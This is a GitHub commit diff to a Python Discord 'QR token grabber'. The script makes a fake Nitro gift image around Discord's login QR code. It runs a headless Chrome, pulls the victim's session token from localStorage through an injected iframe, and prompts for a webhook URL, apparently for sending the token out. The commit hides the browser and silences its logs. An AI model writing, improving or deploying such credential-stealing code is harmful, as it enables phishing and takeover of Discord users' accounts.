Update QR-dtg.py

This commit is contained in:
mouadessalim 2022-08-14 14:33:27 +01:00 committed by GitHub
parent 25dca5e6f4
commit 6b0723c1b5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -3,6 +3,7 @@ from bs4 import BeautifulSoup
from colorama import Fore, init
from PIL import Image
from selenium import webdriver
from warnings import filterwarnings
def clear() -> None:
"""Clear the screen; works with "cls" and "clear" commands.
@ -14,7 +15,6 @@ def clear() -> None:
else:
pass
def generate_qr() -> None:
"""Generate a QR code to paste onto a discord nitro template.
"""
@ -23,7 +23,6 @@ def generate_qr() -> None:
qr_img.paste(ovly_img, (60, 55))
qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95)
def generate_nitro_template() -> None:
"""Generate the nitro template using the QR code generated by generate_qr.
"""
@ -35,7 +34,6 @@ def generate_nitro_template() -> None:
nitro_template.paste(qr_img, (120, 409))
nitro_template.save("discord_gift.png", quality=95)
def main(webhook_url) -> None:
"""Use selenium webdriver to go to the discord login page.
Then, grab the source of the page and use regex to identify the class
@ -49,6 +47,9 @@ def main(webhook_url) -> None:
webdriver.ChromeOptions.binary_location = r"browser/chrome.exe"
opts = webdriver.ChromeOptions()
opts.add_experimental_option("detach", True)
opts.add_experimental_option('excludeSwitches', ['enable-logging'])
opts.headless = True
opts.add_argument('--log-level 3')
driver = webdriver.Chrome(os.path.normpath(r"browser/chromedriver.exe"), options=opts)
driver.get("https://discord.com/login")
time.sleep(5) # Make sure QR has fully loaded before taking source!
@ -86,7 +87,7 @@ document.body.appendChild(iframe);
let localStorage = iframe.contentWindow.localStorage;
var token = JSON.parse(localStorage.token);
return token;
''')
print(f"""
@ -115,8 +116,8 @@ end="")
driver.quit()
if __name__ == "__main__":
filterwarnings("ignore", category=DeprecationWarning)
init()
clear()
print(f"""
@ -127,6 +128,7 @@ Using utilities.tk API
Revised by Luci (9P9)
Revised by the-cult-of-integral
Revised by mte0
Revised by Lemon.-_-.#3714 (mouadessalim)
{Fore.LIGHTYELLOW_EX}Enter a webhook URL.
>>> {Fore.LIGHTWHITE_EX}""", end="")